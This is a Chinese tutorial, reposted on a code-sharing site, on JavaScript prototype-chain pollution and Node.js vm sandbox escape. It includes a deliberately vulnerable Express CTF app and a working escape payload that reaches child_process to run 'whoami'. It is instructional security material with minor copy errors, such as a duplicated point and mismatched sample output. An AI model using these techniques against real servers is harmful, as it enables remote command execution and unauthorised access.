渗透攻击方法:原型链污染

这篇具有很好参考价值的文章主要介绍了渗透攻击方法:原型链污染。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一、什么是原型链

1、原型对象

2、prototype属性

3、原型链

1、显示原型

2、隐式原型

3、原型链

4、constructor属性

二、原型链污染重现

实例

Nodejs沙箱逃逸

1、什么是沙箱(sandbox)

2、vm模块


一、什么是原型链

1、原型对象

JavaScript 中所有的对象都有一个内置属性,称为它的 prototype(原型)。它本身是一个对象,故原型对象也会有它自己的原型,逐渐构成了原型链。原型链终止于拥有 null 作为其原型的对象上。

注意 指向对象原型的属性并是 prototype。它的名字不是标准的,但实际上所有浏览器都使用 __proto__。访问对象原型的标准方法是 Object.getPrototypeOf()。

而对于原型对象来说,它有个constructor属性,指向它的构造函数。

2、prototype属性

1、JavaScript 规定,每个函数都有一个prototype属性,指向一个对象。

2、JavaScript 继承机制的设计思想就是,原型对象的所有属性和方法,都能被实例对象共享。也就是说,如果属性和方法定义在原型上,那么所有实例对象就能共享,不仅节省了内存,还体现了实例对象之间的联系。

3、原型对象的属性不是实例对象自身的属性。只要修改原型对象,变动就立刻会体现在所有实例对象上。

4、原型对象的属性不是实例对象自身的属性。只要修改原型对象,变动就立刻会体现在所有实例对象上。

5、如果实例对象自身就有某个属性或方法,它就不会再去原型对象寻找这个属性或方法。

总的来说,原型对象的作用,就是定义所有实例对象共享的属性和方法而实例对象可以视作从原型对象衍生出来的子对象。

3、原型链

原型链分为两个类型:显示原型隐式原型

1、显示原型

显示原型就是利用prototype属性查找原型,只是这个是函数类型数据的属性。

2、隐式原型

隐式原型是利用__proto__属性查找原型,这个属性指向当前对象的构造函数的原型对象,这个属性是对象类型数据的属性,所以可以在实例对象上面使用:

3、原型链

JavaScript 规定,所有对象都有自己的原型对象(prototype)。一方面,任何一个对象,都可以充当其他对象的原型;另一方面,由于原型对象也是对象,所以它也有自己的原型。因此,就会形成一个“原型链”(prototype chain):对象到原型,再到原型的原型……


渗透攻击方法:原型链污染,原型模式

如果某个对象查找属性,自己和原型对象上都没有,那就会继续往原型对象的原型对象上去找,这个例子里就是Object.prototype,这里就是查找的终点站了,在这里找不到,就没有更上一层了(null里面啥也没有),直接返回undefined。

可以看出,整个查找过程都是顺着__proto__属性,一步一步往上查找,形成了像链条一样的结构,这个结构,就是原型链。所以,原型链也叫作隐式原型链。

正是因为这个原因,我们在创建对象、数组、函数等等数据的时候,都自带一些属性和方法,这些属性和方法是在它们的原型上面保存着,所以它们自创建起就可以直接使用那些属性和方法。

4、constructor属性

prototype对象拥有一个constructor属性,用来指向prototype对象所在的构造函数,我们也是通过这条路径来污染原型链的。
1、由于constructor属性定义在prototype对象上面,意味着可以被所有实例对象继承。

2、constructor属性的作用是,可以得知某个实例对象,到底是哪一个构造函数产生的。

3、有了constructor属性,就可以从一个实例对象新建另一个实例。

4、constructor属性表示原型对象与构造函数之间的关联关系,如果修改了原型对象,一般会同时修改constructor属性,防止引用的时候报错。

二、原型链污染重现

实例

代码如下

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}

function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];

    }
    res.render('index');
})


app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)


app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }

    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 

    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }

    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }

})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

在此之前,我们获得信息必须要满足以下条件:

传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在。

if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }   

由代码可知,全文没有对user.admintokn 进行赋值,所以理论上这个值时不存在的,但是下面有一句赋值语句:

matrix[client.row][client.col] = client.data

最终实现如下效果

渗透攻击方法:原型链污染,原型模式

Nodejs沙箱逃逸

1、什么是沙箱(sandbox)

在计算机安全性方面,沙箱(沙盒、sanbox)是分离运行程序的安全机制,提供一个隔离环境以运行程序。通常情况下,在沙箱环境下运行的程序访问计算机资源会受到限制或者禁止,资源包括内存、网络访问、主机系统等等。

沙箱通常用于执行不受信任的程序或代码,例如用户输入、第三方模块等等。其目的为了减少或者避免软件漏洞对计算机造成破坏的风险.

2、vm模块

vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。 

使用方法很简单,我们执行m+n这个表达式:

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

但这个隔离环境是很容易绕过的。这个环境中上下文里有三个对象:

this 指向传给vm.createContext的那个对象

m 等于数字1

n 等于数字2

我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境

以下是vm运行的几个常用函数

vm.createContext([sandbox]):在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8(Chrome中的v8引擎)为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。

const vm = require('vm');
global.a = 1;
const sandbox = { a: 2 };
vm.createContext(sandbox);  // 创建一个上下文隔离对象
vm.runInContext('a*=2;', sandbox);

console.log(sandbox);
console.log(a); 
//输出为
[Running] node "f:\nodejs\vmtext.js"
{ a: 4 }
1
//上下文中的a在输出中应为2*2=4,但是真正输出结果a仍是1,即沙箱内部无法访问到global的属性。

以下是一个简单的沙箱逃逸的例子:

const inspect = require('util').inspect;
const vm = require('vm');
const script = `
(e => {
	const process = this.toString.constructor('return process')()
	return process.mainModule.require('child_process').execSync('whoami').toString()
})()
`;
const sandbox = {m:1};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

//输出结果为
[Running] node "f:\nodejs\vm.js"
desktop-028es37\111

//与计算机终端使用whoami命令输出结果一致,证明逃逸成功

计算机最终输出结果文章来源地址https://www.toymoban.com/news/detail-627757.html

C:\User\1\whoami
desktop-028sw38\1

到了这里,关于渗透攻击方法:原型链污染的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • JavaScript原型链污染学习记录

    0 原型及其搜索机制 NodeJS原型机制,比较官方的定义: 我们创建的每个函数都有一个 prototype(原型)属性,这个属性是一个指针,指向一个对象, 而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法 设计原型的初衷无非是对于每个实例对象,其拥有的共同

    2024年02月02日
    浏览(32)
  • 【安全】原型链污染 - Hackit2018

    目录 准备工作 解题 代码审计 Payload         将这道题所需依赖模块都安装好后          运行一下,然后可以试着访问一下,报错是因为里面没内容而已,不影响,准备工作就做好了 代码审计  解题关键就在这里,将请求体里面的row,col,data都是我们post传进去的可控的

    2024年02月11日
    浏览(31)
  • 网络安全之原型链污染

    目录: 一、概念 二、举例 三、 实操了解 总结 四、抛出原题,历年原题复现 第一题: 五、分析与原理  第二题: 八、分析与原理 九、具体操作,payload与结果 结果:    JavaScript 规定,所有对象都有自己的原型对象(prototype)。一方面,任何一个对象,都可以充当其他对

    2024年02月13日
    浏览(35)
  • js实现原型链污染,沙箱绕过

    沙箱绕过\\\"是指攻击者利用各种方法和技术来规避或绕过应用程序或系统中的沙箱(sandbox)。沙箱是一种安全机制,用于隔离和限制应用程序的执行环境,从而防止恶意代码对系统造成损害。它常被用于隔离不受信任的代码,以防止其访问敏感数据或对系统进行未授权的操作

    2024年02月13日
    浏览(31)
  • 漏洞复现--原型链污染、沙箱逃逸绕过

    目录 一、原型链污染 1.prototype和__proto__区别??? 2.原型链污染是什么??? 3.哪些情况原型链会被污染??? 4.原型链污染例题 二、沙箱逃逸绕过 1.如何实现沙箱逃逸?  2.如何实现绕过? 原型污染是一个安全漏洞,非常特定于 JavaScript。 __proto__ 检查其成员或调用来找出

    2024年02月14日
    浏览(31)
  • JavaScript原型链污染漏洞复现与防范

    目录 什么是原型链污染漏洞? 复现原型链污染漏洞 防范原型链污染漏洞 原型链污染是JavaScript中的一种安全漏洞,利用该漏洞可以修改对象的原型,从而影响对象及其属性的行为。攻击者可以通过修改原型链来添加或覆盖属性,甚至在全局范围内添加恶意代码,导致应用程

    2024年02月13日
    浏览(32)
  • 安全作业-Race竞争型漏洞、原型链污染

      一、第一题js代码 获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在。 由代码可知,全文没有对user.admintokn 进行赋值,所以理论上这个值时不存在的,但是下面有一句赋值语句: data , row , col ,都是我们post传入的值,都是可控的,所以

    2024年02月13日
    浏览(27)
  • NodeJS原型链污染&ctfshow_nodejs

    前言 最近又遇到了有关原型链污染的题目,所以在此总结一下,方便回顾 0x01.原型与原型链 js中一切皆对象,其中对象之间是存在共同和差异的。 共同:对象的最终原型是 Object 的原型 null 差异:函数对象中有 prototype 属性,但是实力对象没有 1、原型的定义: 原型是Javascri

    2024年02月14日
    浏览(38)
  • 【安全】原型链污染 - Code-Breaking 2018 Thejs

    目录 准备工作 环境搭建 加载项目 复现  代码审计 payload  总结         Nodejs         BurpSuite          项目链接 ① 下载好了cmd切进去   ② 安装这个项目   可以检查一下 ③运行并监听           可以看到已经在3000端口启动了    看到了这一句,所以要先了解l

    2024年02月11日
    浏览(29)
  • 安全开发-JS应用&NodeJS指南&原型链污染&Express框架&功能实现&审计&WebPack打包器&第三方库JQuery&安装使用&安全检测

    Node.js是运行在服务端的JavaScript 文档参考:https://www.w3cschool.cn/nodejs/ Nodejs安装:https://nodejs.org/en 三方库安装 express:Express是一个简洁而灵活的node.js Web应用框架 body-parser:node.js中间件,用于处理 JSON, Raw, Text和URL编码的数据。 cookie-parser:这就是一个解析Cookie的工具。通过re

    2024年02月11日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包